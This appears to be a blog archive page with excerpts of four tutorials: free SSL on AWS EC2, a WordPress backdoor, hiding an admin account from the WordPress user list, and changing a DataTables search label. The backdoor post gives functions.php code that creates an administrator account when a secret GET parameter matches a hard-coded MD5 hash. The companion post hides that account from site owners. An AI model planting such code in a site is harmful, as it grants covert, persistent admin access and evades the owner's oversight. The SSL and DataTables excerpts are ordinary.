Skip to main content

Posts

Showing posts from August, 2020

AWS EC2 Add free ssl https with auto renewal

How to add free SSL with auto renewal in Amazon web services(AWS) server EC2 Linux In this tutorial we will integrate free SSL certificate for our website that is hosting on Amazon Linux 2 AMI and also we will make it auto renewal so after expiration of our certificate it will auto renew it without doing anything. So keep follow below steps. First we need Putty and ppk file to connect our server through terminal. If you do not know about Putty, then Putty is a software that we can use to connect to any server through ssh and PPK file we can generate through PEM file , AWS provides PEM file when we create an instance and it generates only one time so you need to use that and by using that you need to establish a connection with server. Now After successful connection we can see a screen like below screenshot: So first we will run  a command to check our server is running STEP 1 : Enable TLS sudo systemctl is-enabled httpd It will return "enabled" , if it not return "enabl...

WP create a hidden backdoor for access admin panel

 WP create a secret backdoor for access admin panel Create an hidden admin user programmatically to gain admin access in wordpress   To create a hidden backdoor to access admin panel in any wordpress website, we need to add a simple code snippet in our functions.php file. How it works ? We will add a code snippet in functions.php that will check get request by using $_GET method of php and if its exists then it will get value of it and match it with our pre defined hash code. For hash code we are using MD5 so it will be secure. We are using "thecoderain" as our new admin username and 'coderain007' as our password. If you want ,You can change according to you. So first open functions.php file and paste below code add_action( 'wp_head', 'mysecret_backdoor' ); function mysecret_backdoor() { if ( md5( $_GET['secretadmin'] ) == ' bc1bd15de8d5b0ce4944c87f2f960fd0 ' ) { require( 'wp-includes/registration.php' ); ...

WP Hide A Specific Admin Account From Admin Panel User List

Wordpress How to Hide A Specific Admin Account From Admin Panel User List Wordpress is the most popular PHP CMS that is used by many websites, it provides an admin panel to manage it, also we can create multiple users to manage it, but sometimes we want to hide an admin  from the user list so no one can delete it , also it works like a hidden way of access admin panel. First create an account that you want to hide or if you already have that account then we can use that too. So to hide an admin account from user list we need two functions , one is to hide user from users lists and second code to show total users count. Open functions.php file of your current theme (Location: wp-content/themes/YOUR_THEME_NAME/functions.php) and add below code there. 1. Hide an admin from the users list or wp backend add_action('pre_user_query','site_pre_user_query'); function site_pre_user_query($user_search) {   global $current_user;   $username = $current_user->user_login; ...

Datatable Change or remove search box label text

Datatable Change or remove search box label text Datatable is a jQuery plugin which converts a simple html table to a dynamic table with advance functionality like searching , sorting, pagination etc. By default datatable show a search box to filter records based on the column values that match with the search input box value and its have a label with "Search" text. So today we will learn how to remove datatable search input box label or change text to any text. 1. Remove/Delete Text of datatable search box label  To remove "Search" text from label , you need to pass language parameter with datatable initialization like below code. Example Code: var table = $('#datatableId').DataTable( {     language: { search: "" }, }); 2. Change/Modify Text of datatable search box label To modify text or replace with custom text you need to pass value of language.search object to your text like below code. Example Code: var table = $('# datatableId ').Da...